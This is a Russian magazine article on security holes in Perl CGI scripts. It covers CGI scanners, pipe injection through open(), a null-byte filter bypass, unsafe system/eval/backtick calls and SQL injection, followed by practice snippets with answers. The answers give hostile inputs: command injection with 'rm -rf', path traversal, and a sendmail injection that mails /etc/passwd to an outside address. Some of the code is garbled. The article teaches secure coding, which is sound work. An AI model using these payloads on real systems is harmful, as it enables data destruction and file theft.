Уязвимости в исходных кодах

Эта статья является логическим продолжением предыдущей (см. КГ №34). Если вы читали ее, то помните, что мы говорили об уязвимостях в исходных кодах на языке Си. В этой статье я хочу поговорить об ошибках в CGI-программах. Как показывает практика, баги в скриптах не уступают по своей опасности уязвимостям в прикладных программах.

Мы поговорим о Perl-скриптах. Возможно, вы скажете, что Perl уже устарел и в web он мало где используется. Но все-таки он есть. И думаю, знание слабых мест этого языка никому не помешает.

B O D Y

Perl расшифровывается как Practical Extraction and Report Language (практический язык для извлечения данных и составления отчетов). Он простой, мощный и небезопасный. Некоторые дыры в скриптах на перл похожи на дыры в PHP-скриптах.

К этому можно отнести SQL injection или XSS. Но есть и индивидуальные ошибки. Например, символ конвейера перл может воспринять как команду на запуск приложения. Кстати, в перл не может быть переполнения буфера в отличие от того же Си.

Это все разберем ниже. Прежде чем рассказывать про аудит кода, я покажу и расскажу принцип работы CGI-сканеров.

CGI-сканеры

Как и любое другое действие, поиск уязвимостей можно автоматизировать. Одним из решений является применение CGI-сканеров (сейчас их называют сканеры безопасности).

В состав классического сканера обязательно входит база наименований уязвимых скриптов. База составлена с помощью нашего любимого багтрака. Так можно составить свою базу. Сканеры берут данные из базы и производят запрос к нужному серверу. Если сервер отвечает, что файл такой есть, можно пойти и найти описание уязвимости. Часто такие сканеры постепенно обрастают разными функциям вроде составление листинга директорий сайта либо Revers IP (определение, какие еще соседние домены зарегистрированы на сервере)

Разберем несколько программ:

Nikto – конечно, эта программа должна быть на первом месте. Написана на перл (кстати). Есть поддержка SSL. Проверяет хост на известные уязвимости, а также на устаревшее ПО. Есть как для Linux, так и для Windows. Кстати Nikto построен на основе легендарного (но, к сожалению, устаревшего) сканера Whisker.

VOID EYE - работает через прокси. Поддержка скинов.

UKR Cgi Scanner - еще один. Написан на Perl. Имеет html-дизайн.

Автоматизация — это, конечно, хорошо, но вы не должны забывать, что сканеры не дают 100% гарантии. Программы пишут люди, а людям свойственно ошибаться. Поэтому полагаться целиком на сканеры не стоит.

А теперь поговорим о поиске багов aka «багоискательстве».

Аудит кода

В прошлой статье я говорил о том, что нужно проверять все входящие данные. Как ни странно, но на CGI-программы это правило тоже действует. Даже, пожалуй, нужно еще более жестко следить за входящей информацией. Обычно пользователь вводит ее в текстовое поле, либо в адресной строке (при GET- запросе).

Самая старая и известная бага: при открытии файла подставляем "|"(pipe - пайп) и выполняем команды на сервере.

Работает это через функцию open. Приведу пример:

#тут получаем данные в переменную, например из веб-формы
$n=$F{data}
#Открываем
open(TEXT,$n)
#считываем
while(<<>>)
{
Выводим.
print $_;
}

Если ввести, например, ls| — получим листинг директории (если мы в *nix системе) То есть выполняется консольная команда, если пристыковать к ней «|» Правда, уязвимость постепенно уходит в историю.

Тут как раз можно поговорить про «пайпы»(|); при работе с open можно использовать опцию «-е». Она проверяет, есть ли в переменной pipe. Если есть, дает пинка. Пример:

$n=$F{data}
if(!(-e $n)) die("нАз засекли");
open(TEXT,$n);

Но, естественно, эту защиту можно обойти с помощью NULL byte (%00):

$n="/bin/ls\0 /etc|";

Теперь, как только опция "-e" увидит null byte, она остановит обработку. И pipe не будет замечен. Вот так.

Кстати, функцией open можно читать файлы на сервере. Если не смотреть на технические детали, то эта ошибка очень похожа на php inсlude bug.
Главная проблема безопасности в Perl - это передача оболочке ОС пользовательских переменных без их проверки и использование опасных функций. К таковым можно отнести те, которые работают с процессами и командами ОС, а это: exec(),system(),fork(),readpipe()... Сами понимаете, если аргументы, например, функции system, проверяться не будут, то у нас появляются очень интересные возможности.

Также существует функции eval (php-программисты меня поймут). Дело в том, что функция выполняет код, который передается ей в качестве аргумента. Естественно, если не производить фильтрации, то взломщик сможет выполнить произвольный код.

В перле есть такая вещь, как обратные кавычки (``). Все, что в них заключено, отправляется на выполнение в shell-оболочку. Понимаете, к чему я клоню? Нет проверки входящих данных - и шелл наш.

Часто нерадивые программисты забывают фильтровать данные Cookies. А ведь изменить HTTP-запрос и поставить в «куки» кавычку совсем не сложно.
Если используются переменные окружения, то, возможно, они могут тоже представлять опасность. Например, некоторые можно перезаписать.
Хорошо, если в скрипте присутствует фильтрация, но фильтроваться могут не все символы. Нужно всегда внимательно смотреть на это. Возможно, разработчик кое-что пропустил. Вот примерный список символов, которые нужно фильтровать:

$filename =~/[<<<>>>\|\-&\.\\\/\0]/

Как и в php или в asp, в perl возможен sql injection bug.

Давайте разберемся подробнее, как перл работает с mysql. А потом поговорим про инъекции. Для работы с СУБД mysql используется модуль mysql(use mysql). Вот так подключаемся к базе:

$db = Mysql->>>Connect($host,$database,$password,$user);

Далее с помощью ListFields мы занесем в переменную $s количество столбцов и подробную информацию о таблице

$s = ListFields $db $table;

А вот так мы выбираем данные:

@arr = @{$s->>>name}; #массив имен столбцов.

Ну и самое важное – сам запрос к БД:

$s = $db->>>Query($sq);

А вот такой код будет уязвим:

#Тут мы НЕ фильтруем $d

$ = $db->>>Query("SELECT * FROM Widget_Table WHERE widget_id = $id") or die $Mysql::db_errstr;

Ну и далее подставляем кавычку и пытаемся вытащить данные из базы.

Practice

Ну что ж, пришло время практики. Как и в прошлой статье, я буду выкладывать отрывки уязвимых программ. Ваша задача найти уязвимость. Если возникнут проблемы, вы как всегда сможете прочесть решение.

$status=$FORMA{stat}'
$t=$FORMA{'text'};
print "Output text\n";
if($status)
{
$t=~s/([.;\&<<<>>>\|\\\?~^\{\}\[\]\(\)*\n\r])/g;}
open(TEXT,$t) or die("error, error, error");
while(<<>>)
{print $_}
}

Как видите, фильтрация есть. Но не безопасная. Не фильтруются, например, символы '`' или '0'
Взломщик может отправить что-то вроде: rm -rf/

или

./../../var/log/boot.log

Кстати, '/' тоже не фильтруется
$a=param('oldf')
$b=param('newf');
system "mv $a $b";

А тут бросается в глаза отсутствие фильтрации. К тому же используется опасная функция system(). Если введем что-нибудь типа:

/t.txt; rm -rf/

то для администратора этот день закончится неудачно.

$mail='/usr/sbin/sendmail';
$m=FROMA{'usrs'};
open(MAIL,"|$mail $m");
#Какой-то вывод...
#..............
close(MAIL);

Опять же нет фильтров.

Да и происходит работа с внешними приложениями(sendmail). Что само по себе уже опасно.

А если мы введем, например, такую строку:

badkod@mail.ru;mail coolkoder@cool.ru <<
К нам на e-mail (coolkoder@cool.ru) придет содержимое файла с именами пользователей системы (/etc/passwd).

На этом все.

OUTRO

В последнее время PHP и ASP постепенно вытесняют Perl. Думаю это правильно. Ведь перл очень уязвим. В этом есть и доля вины разработчиков языка. В нем полно опасных функций, которые открыто взаимодействуют с системой. Плюс неопытные программисты.

Но это вовсе не значит, что Perl себя изжил. В системном администрировании он незаменим.

Ну что ж. Надеюсь, сегодня вы открыли для себя что-то полезное, и если будете программировать CGI-приложение, не допустите элементарных оплошностей.

StraNger q@sa-sec.org SASecurity gr.

© Компьютерная газета :: главная страница